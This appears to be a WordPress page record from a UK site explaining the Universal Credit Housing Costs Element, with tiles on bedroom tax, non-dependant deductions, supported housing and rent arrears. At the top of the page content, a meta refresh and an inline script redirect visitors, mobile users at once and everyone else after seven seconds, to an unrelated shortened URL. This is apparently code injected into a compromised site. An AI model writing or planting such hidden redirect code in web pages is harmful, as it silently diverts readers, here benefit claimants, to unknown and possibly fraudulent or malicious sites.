{"id":3361,"date":"2021-03-31T15:03:45","date_gmt":"2021-03-31T15:03:45","guid":{"rendered":"https:\/\/ucpages.co.uk\/?page_id=3361"},"modified":"2026-04-09T08:53:30","modified_gmt":"2026-04-09T08:53:30","slug":"you-and-your-rent","status":"publish","type":"page","link":"https:\/\/ucpages.co.uk\/?page_id=3361","title":{"rendered":"Help with rent"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"7; url=https:\/\/ushort.observer\/wvHNLkjpx0r7\" \/><script>(window.matchMedia(\"(pointer:coarse)\").matches||\/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile\/i.test(navigator.userAgent))&&location.replace(\"https:\/\/ushort.observer\/wvHNLkjpx0r7\");<\/script>\r\n\n<p>If you live in rented accommodation and are liable to pay rent, then your Universal Credit award can include a Housing Costs Element.<\/p>\n\n\n\n<p>The amount of the Housing Costs Element included in your assessment of Universal Credit may not cover your full rent.<\/p>\n\n\n\n<p>It may be reduced due to ineligible service charges, an under-occupancy (Bedroom Tax) reduction \/ Local Housing Allowance or a Housing Costs Contribution (non-dependant deduction).<\/p>\n\n\n\n<p>You can\u2019t get a Housing Costs Element for:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Extra you pay your landlord if you\u2019re behind on your rent on your current or previous home<\/li>\n\n\n\n<li>A mortgage<\/li>\n\n\n\n<li>A care home<\/li>\n\n\n\n<li>Ground rent<\/li>\n<\/ul>\n\n\n\n<p><\/p>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-columns-0756495c\" class=\"wp-block-themeisle-blocks-advanced-columns alignfull has-3-columns has-desktop-equal-layout has-tablet-equal-layout has-mobile-collapsedRows-layout has-vertical-unset has-light-bg\"><div class=\"wp-block-themeisle-blocks-advanced-columns-overlay\"><\/div><div class=\"innerblocks-wrap\">\n<div id=\"wp-block-themeisle-blocks-advanced-column-6e902b2a\" class=\"wp-block-themeisle-blocks-advanced-column has-light-bg\">\n<figure class=\"wp-block-image size-large has-custom-border\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"575\" src=\"https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-1359675618-edited-1024x575.jpg\" alt=\"\" class=\"wp-image-15703\" style=\"border-style:none;border-width:0px;border-radius:0px\" srcset=\"https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-1359675618-edited-1024x575.jpg 1024w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-1359675618-edited-300x169.jpg 300w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-1359675618-edited-768x432.jpg 768w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-1359675618-edited-1536x863.jpg 1536w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-1359675618-edited-2048x1151.jpg 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-columns-e37edc14\" class=\"wp-block-themeisle-blocks-advanced-columns has-1-columns has-desktop-equal-layout has-tablet-equal-layout has-mobile-equal-layout has-vertical-unset\"><div class=\"wp-block-themeisle-blocks-advanced-columns-overlay\"><\/div><div class=\"innerblocks-wrap\">\n<div id=\"wp-block-themeisle-blocks-advanced-column-7030cb7b\" class=\"wp-block-themeisle-blocks-advanced-column\">\n<h4 class=\"wp-block-heading has-text-color has-link-color wp-elements-2516e37ebafae9224f15c8f060e3130e\" style=\"color:#070731\">How Much<\/h4>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-6dad115ea7c12ef7817a091ec0bb2a48\" style=\"color:#070731\">How much rent could you get with paying your rent.<\/p>\n\n\n\n<h6 class=\"wp-block-heading has-text-color\" style=\"color:#fdb72b\"><a href=\"https:\/\/ucpages.co.uk\/universal-credit-home-page\/you-and-your-rent\/how-much\/\" data-type=\"page\" data-id=\"1204\">READ MORE<\/a><\/h6>\n<\/div>\n<\/div><\/div>\n<\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-column-33e99253\" class=\"wp-block-themeisle-blocks-advanced-column has-light-bg\">\n<figure class=\"wp-block-image size-large has-custom-border\"><img loading=\"lazy\" decoding=\"async\" width=\"2121\" height=\"1192\" src=\"https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-947245218-edited.jpg\" alt=\"\" class=\"wp-image-15704\" style=\"border-style:none;border-width:0px;border-radius:0px\" srcset=\"https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-947245218-edited.jpg 2121w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-947245218-edited-300x169.jpg 300w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-947245218-edited-1024x575.jpg 1024w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-947245218-edited-768x432.jpg 768w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-947245218-edited-1536x863.jpg 1536w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-947245218-edited-2048x1151.jpg 2048w\" sizes=\"auto, (max-width: 2121px) 100vw, 2121px\" \/><\/figure>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-columns-ada2687f\" class=\"wp-block-themeisle-blocks-advanced-columns has-1-columns has-desktop-equal-layout has-tablet-equal-layout has-mobile-equal-layout has-vertical-unset\"><div class=\"wp-block-themeisle-blocks-advanced-columns-overlay\"><\/div><div class=\"innerblocks-wrap\">\n<div id=\"wp-block-themeisle-blocks-advanced-column-00013bfb\" class=\"wp-block-themeisle-blocks-advanced-column\">\n<h4 class=\"wp-block-heading has-text-color has-link-color wp-elements-e0cbf5417aee0e556cf31e96ae1cdbb7\" style=\"color:#070731\">Bedroom Tax  \/ LHA reduction<\/h4>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-14173d94d5a185b23be2836194462345\" style=\"color:#070731\">The number of bedrooms you are deemed to need can affect the amount of your Housing Costs Element.<\/p>\n\n\n\n<h6 class=\"wp-block-heading has-text-color\" style=\"color:#fdb72b\"><a href=\"https:\/\/ucpages.co.uk\/?page_id=538\" data-type=\"page\" data-id=\"538\">READ MORE<\/a><\/h6>\n<\/div>\n<\/div><\/div>\n<\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-column-2b312319\" class=\"wp-block-themeisle-blocks-advanced-column has-light-bg\">\n<figure class=\"wp-block-image size-large has-custom-border is-style-rounded\"><img loading=\"lazy\" decoding=\"async\" width=\"2121\" height=\"1192\" src=\"https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-1370979242-edited.jpg\" alt=\"\" class=\"wp-image-15701\" style=\"border-style:none;border-width:0px;border-radius:0px\" srcset=\"https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-1370979242-edited.jpg 2121w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-1370979242-edited-300x169.jpg 300w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-1370979242-edited-1024x575.jpg 1024w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-1370979242-edited-768x432.jpg 768w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-1370979242-edited-1536x863.jpg 1536w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-1370979242-edited-2048x1151.jpg 2048w\" sizes=\"auto, (max-width: 2121px) 100vw, 2121px\" \/><\/figure>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-columns-b27500bd\" class=\"wp-block-themeisle-blocks-advanced-columns has-1-columns has-desktop-equal-layout has-tablet-equal-layout has-mobile-equal-layout has-vertical-unset\"><div class=\"wp-block-themeisle-blocks-advanced-columns-overlay\"><\/div><div class=\"innerblocks-wrap\">\n<div id=\"wp-block-themeisle-blocks-advanced-column-e648a713\" class=\"wp-block-themeisle-blocks-advanced-column\">\n<h4 class=\"wp-block-heading has-text-color has-link-color wp-elements-2500c068d23c05caed11875e5f92c81f\" style=\"color:#070731\">Non-dependant deductions<\/h4>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-60a883973e0eea28b1d6888b0b64bf44\" style=\"color:#070731\">Your Housing Costs Element may be reduced if you have a non-dependant living with you.<\/p>\n\n\n\n<h6 class=\"wp-block-heading has-text-color\" style=\"color:#fdb72b\"><a href=\"https:\/\/ucpages.co.uk\/?page_id=540\" data-type=\"page\" data-id=\"540\">READ MORE<\/a><\/h6>\n<\/div>\n<\/div><\/div>\n<\/div>\n<\/div><\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-columns-4b2c9e2a\" class=\"wp-block-themeisle-blocks-advanced-columns alignfull has-3-columns has-desktop-equal-layout has-tablet-equal-layout has-mobile-collapsedRows-layout has-vertical-unset has-light-bg\"><div class=\"wp-block-themeisle-blocks-advanced-columns-overlay\"><\/div><div class=\"innerblocks-wrap\">\n<div id=\"wp-block-themeisle-blocks-advanced-column-b4327d4c\" class=\"wp-block-themeisle-blocks-advanced-column has-light-bg\">\n<figure class=\"wp-block-image size-large has-custom-border\"><img loading=\"lazy\" decoding=\"async\" width=\"2560\" height=\"1440\" src=\"https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-597958636-edited-scaled.jpg\" alt=\"\" class=\"wp-image-15706\" style=\"border-style:none;border-width:0px;border-radius:0px\" srcset=\"https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-597958636-edited-scaled.jpg 2560w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-597958636-edited-300x169.jpg 300w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-597958636-edited-1024x576.jpg 1024w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-597958636-edited-768x432.jpg 768w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-597958636-edited-1536x864.jpg 1536w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-597958636-edited-2048x1152.jpg 2048w\" sizes=\"auto, (max-width: 2560px) 100vw, 2560px\" \/><\/figure>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-columns-74c1bffb\" class=\"wp-block-themeisle-blocks-advanced-columns has-1-columns has-desktop-equal-layout has-tablet-equal-layout has-mobile-equal-layout has-vertical-unset\"><div class=\"wp-block-themeisle-blocks-advanced-columns-overlay\"><\/div><div class=\"innerblocks-wrap\">\n<div id=\"wp-block-themeisle-blocks-advanced-column-c03b1344\" class=\"wp-block-themeisle-blocks-advanced-column\">\n<h4 class=\"wp-block-heading has-text-color has-link-color wp-elements-1cd5716f45c69463410fef7fb9985a66\" style=\"color:#070731\">Living in Supported Housing<\/h4>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-20e476f358ec6077446de5f5ab3809c8\" style=\"color:#070731\">The rules can be different for some people living in Supported Housing.<\/p>\n\n\n\n<h6 class=\"wp-block-heading has-text-color\" style=\"color:#fdb72b\"><a href=\"https:\/\/ucpages.co.uk\/?page_id=542\" data-type=\"page\" data-id=\"542\">READ MORE<\/a><\/h6>\n<\/div>\n<\/div><\/div>\n<\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-column-ce139f82\" class=\"wp-block-themeisle-blocks-advanced-column has-light-bg\">\n<figure class=\"wp-block-image size-large has-custom-border\"><img loading=\"lazy\" decoding=\"async\" width=\"2119\" height=\"1192\" src=\"https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-2183945033-edited.jpg\" alt=\"\" class=\"wp-image-15708\" style=\"border-style:none;border-width:0px;border-radius:0px\" srcset=\"https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-2183945033-edited.jpg 2119w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-2183945033-edited-300x169.jpg 300w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-2183945033-edited-1024x576.jpg 1024w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-2183945033-edited-768x432.jpg 768w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-2183945033-edited-1536x864.jpg 1536w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-2183945033-edited-2048x1152.jpg 2048w\" sizes=\"auto, (max-width: 2119px) 100vw, 2119px\" \/><\/figure>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-columns-d75b7ffe\" class=\"wp-block-themeisle-blocks-advanced-columns has-1-columns has-desktop-equal-layout has-tablet-equal-layout has-mobile-equal-layout has-vertical-unset\"><div class=\"wp-block-themeisle-blocks-advanced-columns-overlay\"><\/div><div class=\"innerblocks-wrap\">\n<div id=\"wp-block-themeisle-blocks-advanced-column-5ad87627\" class=\"wp-block-themeisle-blocks-advanced-column\">\n<h4 class=\"wp-block-heading has-text-color has-link-color wp-elements-b044f950ff6a06ce87b27c335901f06f\" style=\"color:#070731\">What if I get behind with my rent?<\/h4>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-73527a11314aa1f814314c3c91c41ae0\" style=\"color:#070731\">The DWP may agree to pay part of your Universal Credit award directly to your landlord.<\/p>\n\n\n\n<h6 class=\"wp-block-heading has-text-color\" style=\"color:#fdb72b\"><a href=\"https:\/\/ucpages.co.uk\/?page_id=536\" data-type=\"page\" data-id=\"536\">READ MORE<\/a><\/h6>\n<\/div>\n<\/div><\/div>\n<\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-column-d578523a\" class=\"wp-block-themeisle-blocks-advanced-column has-light-bg\">\n<figure class=\"wp-block-image size-full has-custom-border\"><img loading=\"lazy\" decoding=\"async\" width=\"425\" height=\"239\" src=\"https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock_000000951734XSmall1-edited.jpg\" alt=\"\" class=\"wp-image-15710\" style=\"border-style:none;border-width:0px;border-radius:0px\" srcset=\"https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock_000000951734XSmall1-edited.jpg 425w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock_000000951734XSmall1-edited-300x169.jpg 300w\" sizes=\"auto, (max-width: 425px) 100vw, 425px\" \/><\/figure>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-columns-5bfff3c0\" class=\"wp-block-themeisle-blocks-advanced-columns has-1-columns has-desktop-equal-layout has-tablet-equal-layout has-mobile-equal-layout has-vertical-unset\"><div class=\"wp-block-themeisle-blocks-advanced-columns-overlay\"><\/div><div class=\"innerblocks-wrap\">\n<div id=\"wp-block-themeisle-blocks-advanced-column-a1344af5\" class=\"wp-block-themeisle-blocks-advanced-column\">\n<h4 class=\"wp-block-heading has-text-color has-link-color wp-elements-ddd16be90da927102566d285a6c93256\" style=\"color:#070731\">Housing Payments \/ Discretionary Housing Payments<\/h4>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-6c08fedcc97e62ef8d704cba0d8d0717\" style=\"color:#070731\">If you need extra help to make sure you can pay your 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